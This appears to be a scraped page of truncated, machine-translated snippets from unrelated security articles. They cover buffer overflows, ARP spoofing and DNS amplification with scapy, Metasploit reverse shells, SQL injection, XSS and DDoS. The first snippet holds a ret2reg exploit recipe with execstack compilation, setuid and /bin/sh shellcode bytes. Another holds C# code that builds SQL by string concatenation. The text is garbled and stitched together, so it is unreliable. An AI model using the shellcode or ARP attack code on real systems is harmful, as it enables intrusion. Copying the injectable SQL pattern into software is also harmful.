misconfiguration attacks

buffer array, then the contents of the buffer array will start executing. We just fill in the buffer array into the shellcode we want to perform, and the attack is perfect.Deductive attackGcc-z execstack-o vulnerableret2reg vulnerableret2reg.cchmod u+s vulnerableret2regsu test./vulnerableret2reg ' perl-e ' Print "\x90" X16;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\ x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x

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Turn from: http://netsecurity.51cto.com/art/201006/204283.htm As the business manager of the website, when appreciating the rich business and interesting experience that he offers to the customer, have you ever thought that the website will become the medium that the attacker attacks the third party, thus causes the credibility to be greatly damaged. As a visitor to a website, have you ever thought that when you visit the site you are familiar with,

Layer 2 attacks against Python Network Attacks 0x00 Abstract In Layer 2 attacks in this chapter, we will go to the fantastic journey of network hacking. Let's review that the second layer is responsible for sending packets over Ethernet using MAC addresses. In addition to ARP attacks, we will discuss how switches resp

Domain name root server suffered two large-scale attacks: 5 million attacks per second In the early morning of January 1, December 11, Beijing time, the root servers of multiple domain name systems were attacked twice at the beginning of last week. Each attack lasted for an hour or two, these root servers receive up to 5 million query requests per second. When a user enters a domain name in a browser, the

Yii framework prevents SQL injection, xss attacks and csrf attacks, yiixss This article describes how the Yii framework prevents SQL injection, xss attacks, and csrf attacks. We will share this with you for your reference. The details are as follows: Common PHP methods include: /* SQL Injection prevention, xss attack (

How to solve the problems of switch DDoS attacks and Intranet server DDoS attacks Those who have experience in Internet cafes or data center management must know that computer viruses are a headache, especially intranet server DDoS attacks and switch DDoS attacks, which directly affect the security of Internet cafes,

HTML5 is one of the promising new key technologies that powers the web. though it is still under development, HTML5 is high in demand especially given the fact that the use of smart phones and internet enabled mobile devices is growing exponentially every year. HTML, the heart of the web, has made big advances with HTML5 by providing support for latest multimedia and server communication. all the latest versions of browsers have their support for HTML5 and hence the industry is on a high to embr

This article describes how to use scapy to simulate packets in Python to implement arp attacks and dns amplification attacks. This article focuses on the use of scapy, for more information, see scapy, a powerful interactive data packet processing program written in python. scapy can be used to send, sniff, parse, and forge network data packets, network attacks an

="Update Xinxi set name= '"+mingzi+"' where code= '"+no+"'"; Zhancnn. Open (); Zhancmd. ExecuteNonQuery (); Zhancnn. Close (); Console.WriteLine ("The changes are complete! "); Break; } Else//If you don't have the data you want to modify {Console.WriteLine ("The database does not have this message, please enter the correct code!! "); }} console.readline (); When executing, note that I'm going to enter: Then query the d

Scapy is a powerful, interactive packet handler written by Python that can be used to send, sniff, parse, and spoof network packets, often used in cyber attacks and tests. This is done directly with Python's scapy. Here is the ARP attack mode, you can make ARP attack. Copy the Code code as follows: #!/usr/bin/python """ ARP attack """ Import sys, OS From Scapy.all Import * If Os.geteuid ()! = 0: Print "This program must is run as root. Aborting. " Sy

Network Vulnerability attack tools Metasploit 　　First msfupdate upgrade: Then select msfconsole: Next: /shell/ In this way, a cmd shell can be rebounded. Hydra Introduction to penetration tools in Windows MaltegoCE DNS collection. IBM Rational AppScan Automated web Application Security Vulnerability Assessment can scan and detect common web application security vulnerabilities, such as SQL injection, cross-site scripting attacks, buff

This article implemented the Dos attack method is very simple is set a few seconds to refresh the current page, which can effectively prevent Dos attacks. Look at the example below Title: Content:

If you do not want to embed PHP into the server-side software (such as Apache) as a module installation, you can choose to install in CGI mode. Or use PHP for different CGI wrappers to create a secure chroot and SETUID environment for your code. This installation typically installs the PHP executable file to the Web server's Cgi-bin directory. Although PHP can be used as a standalone interpreter, it is designed to prevent the following types of attacks